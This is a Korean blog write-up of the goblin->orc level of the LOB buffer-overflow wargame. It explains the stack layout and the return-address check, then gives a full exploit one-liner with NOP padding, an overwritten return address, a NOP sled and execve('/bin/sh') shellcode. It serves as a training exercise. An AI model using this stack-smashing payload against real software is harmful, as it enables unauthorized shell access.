LOB goblin->orc
by St1tchorc.c를 보면 environ[i]를 0으로 초기화 시켜주고있다.
environ에는 환경변수들이 들어있고 이를 초기화 시켜주고 있다.
환경변수를 이용하여 쉽게 풀는걸 방지 하는 부분이다.
gdb로 보면 ebp-40부분에 argv[1]의 값을 복사한다.
따라서 스택의 구조는
이런식으로 된다.
따라서 dump40개 + ret + nop sled + shellcode 이런식으로 exploit을 작성하면 된다.
코드 부분에 argv[1][47]이 '\xbf'인지 확인을 하는데
이는 ret주소의 최상위비트가 bf인지 확인을 하는것이다.
어처피 스택주소로 리턴을 하기 때문에 크게 생각할 필요 없이 exploit을 작성하면된다.
strcpy뒷 부분으로 잡아놓고 대충 값을 넣어 실행을 시켜 스택주소를 확인을 한다.
그리고 nop sled를 태우기 위해 적당한 수만큼 nop으로 채우고 쉘코드를 넣으면 된다.
exploit code
./orc | `python -c 'print "\x90"*44 + "\xd0\xfc\xff\xbf" + "\x90"*300 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
블로그의 정보
튜기's blogg(st1tch)
St1tch